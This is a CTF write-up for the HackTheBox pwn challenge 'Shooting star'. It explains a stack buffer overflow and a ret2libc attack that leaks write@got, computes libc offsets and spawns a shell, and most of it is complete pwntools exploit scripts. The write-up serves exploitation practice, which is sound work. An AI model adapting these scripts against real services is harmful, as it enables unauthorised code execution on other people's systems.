Shooting star
Shooting star
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Tired of exploring the never-ending world, you lie down and enjoy the crystal clear sky. Over a million stars above your head! Enjoy the silence and the glorious stars while you rest.
Solution Approach
Core idea: Buffer Overflow (Stack-Based Exploitation). Leaking libc runtime using write@got and pop_rsi_r15 gadget.
Steps
-
First, unzip the
.zipfile given. -
Next, check the type of file we got.
-
It's a 64 bit binary file, dynamically linked, and not stripped, hence it's easier for us to debug and identify the functions.
-
Now check the binary's protection.
-
Let us make the file executeable by run chmod, then run the file in gdb.
-
Let us choose option 1.
-
Let us paste 1024 cyclic pattern.
-
Find the correct bytes to overflow the buffer.
-
It's 72 bytes.
-
Now let us check all the functions available.
-
A function caught my attention ->
setup()func. -
Let us decompile the binary using ghidra.
-
Check the
star()function. -
Notice the program reads more buffer from
local_48. -
We found the vuln there.
-
I think the concept here is ret2libc, because there's not
system()function, but onlyreads()andwrite(), both are come from the libc library. -
Now we need to leak the
.gotaddress. -
First, let us get the
pop_rdivalue from the binary using ropper. We need pop RDI gadget to passshtosystem().
ropper --file shooting_star --search "pop rdi"
- Next, get the
pop_rsivalue. We need pop RSI to put got.write address in (before leak thegotvia plt.write.
ropper --file shooting_star --search "pop rsi"
- Now to leak the
got address, the payloads we need to send are:
paddingBytes - pop_rsi_r15 - elf.got.write - 0x0 - elf.plt.write - elf.symbols.main
NOTES:
- pop_rsi_r15 -> pop the following value from stack into RSI.
- elf.got.write -> address of write() in GOT.
- 0x0 -> as a junk , cause we don't need anything in r15.
- elf.plt.write -> need to call plt.write() to print address of got.write()
- elf.symbols.main -> return to the beginning/start of the `star()` function.
- Here are our script so far:
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def find_ip(payload):
p = process(exe)
p.sendlineafter('>', '1')
p.sendlineafter('>>', payload)
p.wait() # wait for the process to crash
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
gdbscript = '''
init-pwndbg
break main
'''.format(**locals())
exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
### EXPLOITATION
paddingBytes = find_ip(cyclic(1024))
io = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9
payload = flat(
{paddingBytes: [
pop_rsi_r15, # Pop the following value from stack into RSI
elf.got.write, # Address of write() in GOT
0x0, # Don't need anything in r15
elf.plt.write, # Call plt.write() to print address of got.write()
elf.symbols.main # Return to beginning of star function
]}
)
### Send the payload
io.sendlineafter('>', '1')
io.sendlineafter('>>', payload)
io.recvuntil('May your wish come true!\n')
leaked_addr = io.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)
OUTPUT
-
We leaked the
got_write address. -
To get our
libc base address. let us run ldd to the binary. -
Then run readelf to get the offset of write from the libc.
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write
- To calculate the
libc base addresswe need to substract theaddress of got_writetowrite address from libc.
libc_baseAddr = got_write - writeAddr_fromLibc
- Next, to get the
system addressneed to additionlibc_baseAddrtosystemAddr from the libc.
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
GET THE SYSTEM ADDR FROM LIBC
- Now get the address of
bin/sh.
strings -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
- Finally we just need to build the actual payload using the
system()address this time.
paddingBytes - pop_rdi - bin_sh - system_addr
- So here is our final script.
FINAL SCRIPT - RET2LIBC
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def find_ip(payload):
p = process(exe)
p.sendlineafter('>', '1')
p.sendlineafter('>>', payload)
p.wait() # wait for the process to crash
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
### EXPLOITATION
paddingBytes = find_ip(cyclic(1024))
sh = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9
info("%#x pop_rdi", pop_rdi) # format this into hex
info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex
payload = flat(
{paddingBytes: [
pop_rsi_r15, # Pop the following value from stack into RSI
elf.got.write, # Address of write() in GOT
0x0, # Don't need anything in r15
elf.plt.write, # Call plt.write() to print address of got.write()
elf.symbols.main # Return to beginning of star function
]}
)
sh.sendlineafter('>', '1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')
leaked_addr = sh.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)
libc_base = got_write - 0xf8180
info("libc_base: %#x", libc_base)
system_addr = libc_base + 0x4c330
info("system_addr: %#x", system_addr)
bin_sh = libc_base + 0x196031
info("bin_sh: %#x", bin_sh)
payload = flat(
{paddingBytes: [
pop_rdi,
bin_sh,
system_addr
]}
)
sh.sendline('1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')
sh.interactive()
OUTPUT - LOCAL
-
Got the shell! Now test it remotely.
-
Got segmentation fault here. Confused here.
-
So i check the forum and got a hint that we need to check what versions of LIBC is running on the remote server.
-
We can search that using this web application.
-
Using our leaked got address, paste it on the we app and click find.
-
Click on this one.
-
Copy the write, system, and bin/sh offset.
-
Now let us run the script again remotely.
REALLY FINAL THIS TIME!
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def find_ip(payload):
p = process(exe)
p.sendlineafter('>', '1')
p.sendlineafter('>>', payload)
p.wait() # wait for the process to crash
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
### EXPLOITATION
paddingBytes = find_ip(cyclic(1024))
sh = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9
info("%#x pop_rdi", pop_rdi) # format this into hex
info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex
payload = flat(
{paddingBytes: [
pop_rsi_r15, # Pop the following value from stack into RSI
elf.got.write, # Address of write() in GOT
0x0, # Don't need anything in r15
elf.plt.write, # Call plt.write() to print address of got.write()
elf.symbols.main # Return to beginning of star function
]}
)
sh.sendlineafter('>', '1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')
leaked_addr = sh.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)
libc_base = got_write - 0x110210 #remote write offset | #0xf8180 - our write offset
info("libc_base: %#x", libc_base)
system_addr = libc_base + 0x04f550 # system offset | #0x4c330 - our system offset
info("system_addr: %#x", system_addr)
bin_sh = libc_base + 0x1b3e1a #remote bin/sh offset | #0x196031 - our bin/sh offset
info("bin_sh: %#x", bin_sh)
payload = flat(
{paddingBytes: [
pop_rdi,
bin_sh,
system_addr
]}
)
sh.sendline('1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')
sh.interactive()
- Got the flag!
ALTERNATE SOLVER
import os
from pwn import *
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
sh = start()
padding = b'A' * 72
pop_rdi = 0x00000000004012cb
info('pop_rdi_gadget --> %#0x', pop_rdi)
pop_rsi_r15 = 0x00000000004012c9
info('pop rsi r15 --> %#0x', pop_rsi_r15)
p = flat([
padding,
pop_rsi_r15,
elf.got['write'],
0x0,
elf.plt['write'],
elf.sym['main']
])
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>>', p)
sh.recvline()
sh.recvline()
get = sh.recv()
print('[+] Grabbed leaked libc addr -->', get)
#strip_it = get.strip()
#print('This is the stripped ones -->', strip_it)
leaked = get[:6]
print('Grabbed leaked -->', leaked)
leaked_libc = unpack(leaked.ljust(8,b'\x00'))
info('This is the leaked libc_address --> %#0x', leaked_libc)
#leaked = unpack(strip_it.ljust(8, b'\x00'))
#print(leaked)
#library = './libc6_2.5-0ubuntu14_i386.so'
library = './libc6_2.27-3ubuntu1.4_amd64.so'
libc = context.binary = ELF(library, checksec=False)
info('libc_write --> %#0x', libc.sym['write'])
libc_base = leaked_libc - libc.sym['write']
info('libc_base --> %#0x', libc_base)
system_addr = libc_base + 0x000000000004f550
info('system_addr --> %#0x', system_addr)
binsh_addr = libc_base + 0x1b3e1a
info('binsh_addr --> %#0x', binsh_addr)
pay = flat([
padding,
pop_rdi,
binsh_addr,
system_addr
])
sh.sendline(b'1')
#sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>>', pay)
sh.interactive()
NOTES: It failed locally, but succeed remotely. (the problem still the same as before, the remote libc library used is different).
Flag
REDACTED
Lessons Learned
- Buffer Overflow (Stack-Based Exploitation).
- Leaking libc runtime using write@got and
pop_rsi_r15gadget. - Implement ret2libc attack.